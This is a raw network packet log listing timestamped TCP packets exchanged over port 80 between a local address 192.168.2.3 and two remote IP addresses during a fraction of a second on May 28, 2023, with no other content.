May 28, 2023 10:42:52.151977062 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152021885 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152050018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152070045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152116060 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152127981 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152160883 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152204990 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152231932 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152251005 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152316093 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152318001 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152360916 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152405977 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152419090 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152451038 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152494907 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152538061 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152551889 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152584076 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152594090 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152631044 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152676105 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152688980 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152719975 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152765036 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152786016 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152810097 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152856112 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152899981 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152904987 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152947903 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.152951002 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.152997971 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153047085 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153059959 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153091908 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153136969 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153182030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153192997 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153227091 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153259993 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153274059 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153318882 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153325081 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153362989 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153407097 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153418064 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153453112 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153497934 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153536081 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153542995 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153587103 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153594017 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153630972 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153676987 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153702021 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153721094 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153767109 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153772116 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153812885 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153858900 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153865099 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.153903961 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153947115 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.153991938 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154000998 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154038906 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154056072 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154084921 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154129982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154174089 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154186964 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154220104 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154222012 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154267073 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154310942 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154325008 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154357910 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154407978 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154452085 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154464006 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154496908 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154515028 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154542923 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154587030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154593945 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154633045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154675007 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154719114 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154731989 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154763937 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154778957 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154809952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154854059 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154869080 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.154901028 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154944897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154989004 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.154999971 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155035019 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155050993 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155080080 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155123949 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155134916 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155169010 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155214071 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155257940 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155272961 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155304909 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155312061 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155350924 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155395031 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155440092 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155452967 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155484915 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155492067 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155529022 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155572891 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155616999 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155627966 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155663013 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155672073 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155709028 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155751944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155796051 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155806065 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155839920 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155852079 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.155885935 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155930042 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155973911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.155992985 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156018972 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156023026 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156068087 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156112909 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156157017 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156169891 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156203985 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156212091 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156248093 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156313896 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156358004 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156371117 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156403065 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156411886 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156449080 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156493902 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156537056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156547070 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156582117 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156586885 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156629086 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156672955 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156718969 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156727076 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156764030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156771898 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156810999 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156855106 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156898975 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156908989 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156944990 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.156959057 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.156990051 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157038927 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157087088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157099962 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157133102 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157180071 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157226086 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157241106 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157284975 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157288074 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157332897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157377958 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157390118 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157423019 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157433033 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157469988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157514095 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157557011 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157563925 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157602072 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157608032 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157658100 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157665014 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157722950 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157727957 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157751083 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157819033 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157864094 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157876015 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157896042 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.157911062 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157954931 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.157963991 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158018112 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158066988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158109903 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158126116 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158157110 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158159971 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158202887 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158247948 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158292055 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158335924 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158338070 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158338070 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158381939 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158427000 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158437014 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158472061 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158518076 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158535004 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158562899 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158607006 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158651114 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158662081 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158695936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158704996 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158740997 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158786058 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158829927 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158845901 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158886909 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158890963 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.158912897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158937931 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158963919 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158988953 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.158992052 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159017086 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159019947 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159043074 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159068108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159094095 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159104109 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159118891 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159127951 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159145117 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159171104 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159194946 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159204006 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159220934 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159224033 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159249067 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159274101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159298897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159303904 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159323931 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159323931 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159351110 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159377098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159400940 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159408092 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159425974 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159427881 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159454107 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159477949 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159502029 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159509897 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159528017 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159534931 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159554005 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159579039 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159603119 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159610033 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159629107 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159629107 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159657001 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159682035 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159706116 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159713984 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159730911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159738064 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159758091 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159780979 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159857035 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159883022 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159907103 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159930944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159936905 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159955978 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.159959078 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.159981966 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160006046 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160032034 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160038948 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160057068 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160063982 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160082102 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160106897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160130024 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160141945 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160155058 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160164118 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160181046 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160204887 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160228968 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160239935 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160254002 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160260916 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160295963 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160310984 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160320044 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160345078 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160371065 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160402060 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160423040 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160743952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160794973 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160820007 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160844088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160856962 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160867929 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160892963 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160917997 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160924911 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160943031 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160952091 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.160968065 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160991907 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.160999060 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.161020041 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161045074 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161057949 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.161070108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161096096 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161119938 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161129951 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.161145926 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161149979 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.161171913 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161195993 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161195040 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.161221027 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161245108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161269903 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.161283970 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.161304951 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.162441015 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.172945023 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.172976971 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.172998905 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173022032 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173042059 CEST	80	49720	103.100.211.218	192.168.2.3
